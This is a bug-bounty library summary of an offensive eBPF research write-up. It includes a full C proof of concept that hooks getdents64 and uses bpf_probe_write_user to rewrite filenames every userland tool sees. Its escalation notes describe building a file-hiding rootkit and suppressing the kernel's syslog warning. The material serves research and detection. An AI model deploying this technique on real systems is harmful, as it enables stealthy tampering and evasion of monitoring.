# Offensive BPF: Understanding and using bpf_probe_write_user

eBPF program uses bpf_probe_write_user to overwrite getdents64 directory entry filenames in user memory, hiding or spoofing files from all userland tools.

- Payout: Research
- Severity: medium
- Program: Linux kernel
- Write-up by: Johann Rehberger
- Disclosed: 2021-10-20
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2021-offensive-bpf-libbpf-bpf-probe-write-user
- Tags: area:os domain:desktop impact:integrity kind:research platform:research sev:medium tech:linux technique:source-review vuln:info-disclosure vuln:privilege-escalation

**Target:** getdents64 syscall tracepoints (sys_enter/sys_exit)
**Root cause:** The bpf_probe_write_user helper allows a BPF program to write into user-space memory; hooking sys_exit_getdents64 lets it overwrite the d_name field of linux_dirent64 entries after the kernel populated the buffer.
**Steps:**
1. Write BPF program in C with libbpf-bootstrap (obpf.bpf.c) since bpftrace cannot call bpf_probe_write_user.
2. On `tracepoint/syscalls/sys_enter_getdents64`, store `ctx->args[1]` (the linux_dirent64 buffer pointer) in a hash map keyed by `bpf_get_current_pid_tgid()`.
3. On `tracepoint/syscalls/sys_exit_getdents64`, look up and delete the map entry to get the buffer base address and `ctx->ret` total length.
4. Loop entries: compute `d_entry = base + offset`, `bpf_probe_read_user` the `d_reclen`, skip `d_type == DT_DIR`, read `d_name`.
5. If `d_name_len > 6`, call `bpf_probe_write_user((char *) &d_entry->d_name, (char *) replace, sizeof(char) * 6)` to overwrite the first 6 chars.
6. Advance `offset += d_reclen` until `offset >= ret` or 256 iterations.
7. Observe overwritten filenames in `ls` and other tools; check syslog for the bpf_probe_write_user warning.
**How found:** Author wanted to modify user-space data structures during BPF execution, hit bpftrace limitations (no bpf_probe_write_user access), dropped to libbpf C programs, and used getdents64 tracepoints learned from Linux Rootkits Part 6 to rewrite directory entries.
**Exploitation:** Load the BPF program (requires privileges); every process enumerating directories via getdents64 sees filenames with 6+ chars replaced by "xxxxxx", fooling tools like ls and VS Code. Basis for a BPF rootkit hiding files/dirs.
**Escalation:** Extend to hide specific directories/process info via /proc, or hook syslog syscall to suppress the bpf_probe_write_user warning log.
**Insight:** bpf_probe_write_user is callable from C/libbpf programs even when unavailable in bpftrace; pairing sys_enter to stash the user buffer pointer and sys_exit to rewrite it lets you tamper with any syscall's output buffer, and the helper emits a syslog warning you can hunt for (or hook syslog to suppress).

## Proof of concept (copied exactly from the original report)

**BPF program overwriting getdents64 filenames via bpf_probe_write_user**

```
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_exit_getdents64(struct trace_event_raw_sys_exit *ctx)
{
 struct task_struct *task;
 struct event *e;

 task = (struct task_struct *)bpf_get_current_task();
 tid_t tid = bpf_get_current_pid_tgid();

 long unsigned int * dir_addr = bpf_map_lookup_elem(&dir_entries, &tid);
 if (dir_addr == NULL)
 {
 return 0;
 }

 bpf_map_delete_elem(&dir_entries, &tid);

 /* Loop over directory entries */
 struct linux_dirent64 * d_entry;
 unsigned short int d_reclen;
 unsigned short int d_name_len; 
 long offset = 0;

 long unsigned int d_entry_base_addr = *dir_addr;
 long ret = ctx->ret;

 //MAX_D_NAME_LEN == 128 - const isn't working with allocation here...
 char d_name[128]; 
 int count = 16;
 char d_type;

 int i=0;
 while (i < 256) // limitation for now, only examine the first 256 entries
 {
 bpf_printk("Loop %d: offset: %d, total len: %d", i, offset, ret);

 if (offset >= ret)
 {
 break;
 }

 d_entry = (struct linux_dirent64 *) (d_entry_base_addr + offset);

 // read d_reclen
 bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &d_entry->d_reclen);

 // skip if it's a directory entry
 bpf_probe_read_user(&d_type, sizeof(d_type), &d_entry->d_type);
 if (d_type == DT_DIR)
 {
 offset += d_reclen;
 i++;
 continue;
 }

 //read d_name
 d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
 long success = bpf_probe_read_user(&d_name, MAX_D_NAME_LEN, d_entry->d_name);
 if ( success != 0 )
 {
 offset += d_reclen;
 i++;
 continue;
 }

 bpf_printk("d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);

 /* match and overwrite */
 if ( d_name_len > 6 )
 { 
 bpf_printk("** sys_enter_getdents64 ** OVERWRITING"); 
 
 char replace[] = "xxxxxx";
 
 // overwrite the user space d_name buffer
 long success = bpf_probe_write_user((char *) &d_entry->d_name, (char *) replace, sizeof(char) * 6);
 bpf_printk("** RESULT %d", success); 
 }

 offset += d_reclen;
 i++;
 }
 
 return 0;
}
```

